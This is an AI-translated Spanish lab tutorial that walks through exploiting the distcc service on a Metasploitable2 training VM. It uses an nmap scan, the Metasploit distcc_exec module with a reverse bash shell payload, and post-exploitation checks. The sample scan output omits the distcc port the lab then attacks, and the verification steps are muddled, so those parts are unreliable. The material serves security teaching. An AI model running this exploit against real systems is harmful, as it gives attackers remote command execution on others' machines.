Realización de Pruebas de Penetración en Metasploitable2 con Nmap

NmapNmapBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, realizaremos pruebas de penetración en la máquina objetivo Metasploitable2 proporcionada por LabEx utilizando la terminal de Kali. El enfoque estará en comprender los principios y el proceso de ataque al servicio Distcc. Al final del laboratorio, se proporcionan lecturas recomendadas y tareas para hacer en casa.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/installation -.-> lab-416128{{"Realización de Pruebas de Penetración en Metasploitable2 con Nmap"}} nmap/port_scanning -.-> lab-416128{{"Realización de Pruebas de Penetración en Metasploitable2 con Nmap"}} nmap/host_discovery -.-> lab-416128{{"Realización de Pruebas de Penetración en Metasploitable2 con Nmap"}} nmap/target_specification -.-> lab-416128{{"Realización de Pruebas de Penetración en Metasploitable2 con Nmap"}} nmap/service_detection -.-> lab-416128{{"Realización de Pruebas de Penetración en Metasploitable2 con Nmap"}} end

Iniciar el entorno del laboratorio

  1. Abra una terminal xfce en la máquina anfitriona de LabEx y inicie la máquina objetivo Metasploitable2 ejecutando el siguiente comando:
sudo virsh start Metasploitable2

Espere a que la máquina objetivo se inicie, puede tardar de 1 a 3 minutos.

  1. Pruebe la conectividad a la máquina objetivo mediante un ping:
ping 192.168.122.102

Presione Ctrl+C para detener el ping.

  1. Inicie el contenedor de Kali Linux y acceda al entorno bash ejecutando:
docker run -ti --network host b5b709a49cd5 bash
  1. Dentro del contenedor de Kali, pruebe la conexión de red a la máquina objetivo:
ping 192.168.122.102

Presione Ctrl+C para detener el ping.

Ahora tanto la máquina de ataque como la máquina objetivo están en funcionamiento, y puede comenzar las pruebas de penetración.

Nota: Si sale accidentalmente del bash actual, el contenedor de Kali se detendrá automáticamente. Puede ejecutar docker run -ti --network host b5b709a49cd5 bash nuevamente en la máquina anfitriona para iniciar un nuevo contenedor de Kali y acceder al bash para continuar con el experimento.

Realizar pruebas de penetración

Principio de la vulnerabilidad del servicio Distcc:

Distcc se utiliza para la compilación distribuida de grandes bases de código en servidores de red. Sin embargo, si está mal configurado, se puede abusar de él para ejecutar comandos. Esta vulnerabilidad está presente en XCode 1.5 y otras versiones de Distcc 2.x debido a la falta de restricciones de acceso en el puerto del servidor.

En términos simples, el servicio carece de verificaciones adecuadas en los puertos y las tareas ejecutadas, lo que permite a los atacantes aprovechar las tareas de compilación distribuida para ejecutar sus propios comandos.

Índices de vulnerabilidad:

Código del módulo de ataque de la vulnerabilidad:

Primero, inicie msfconsole para acceder a la interfaz de operación:

cd ~
msfconsole

Utilice la herramienta de escaneo Nmap para escanear los puertos abiertos del host objetivo:

nmap -sV -T4 192.168.122.102

A continuación, un ejemplo de la salida que podría ver:

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp   open  domain  ISC BIND 9.4.2
111/tcp  open  rpcbind 2 (RPC #100000)
3306/tcp open  mysql   MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds

Basado en los resultados del escaneo, busque el módulo correspondiente al servicio de puerto que desea atacar:

search distcc

En la terminal de Kali MSF, utilice el comando use para seleccionar el módulo adecuado:

use exploit/unix/misc/distcc_exec

Luego, utilice el comando show options para mostrar los parámetros del módulo:

show options

A continuación, un ejemplo de la salida que podría ver:

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
                                       it.html
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.28.140.88    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

Establezca el parámetro del host objetivo RHOST en 192.168.122.102

set RHOST 192.168.122.102

Una vez que todo esté configurado, utilice el comando exploit para atacar el host:

exploit

Presione Ctrl+D para salir de la consola de Metasploit y luego inicie la inspección

Verificar una penetración exitosa

Para verificar si la penetración fue exitosa, utilice los siguientes comandos: whoami, hostname y ifconfig (para verificar la dirección IP):

En primer lugar, si no está en la consola de Metasploit, debe iniciar la consola de Metasploit:

cd ~
msfconsole

Verifique el usuario actual:

whoami

Verifique el nombre del host:

hostname

Verifique la dirección IP del host comprometido:

ifconfig

Si el nombre del host y la dirección IP coinciden con la máquina objetivo (192.168.122.102), indica que la prueba de penetración fue exitosa.

Presione Ctrl+D para salir de la consola de Metasploit y luego inicie la inspección

Resumen

En este laboratorio, aprendimos sobre los principios y el proceso de ataque al servicio Distcc. Adquirimos experiencia práctica en el escaneo de penetración con Nmap, en el uso de Metasploit para explotar la vulnerabilidad de Distcc y en la verificación de una penetración exitosa. El laboratorio proporcionó una comprensión práctica de las técnicas de análisis y explotación de vulnerabilidades.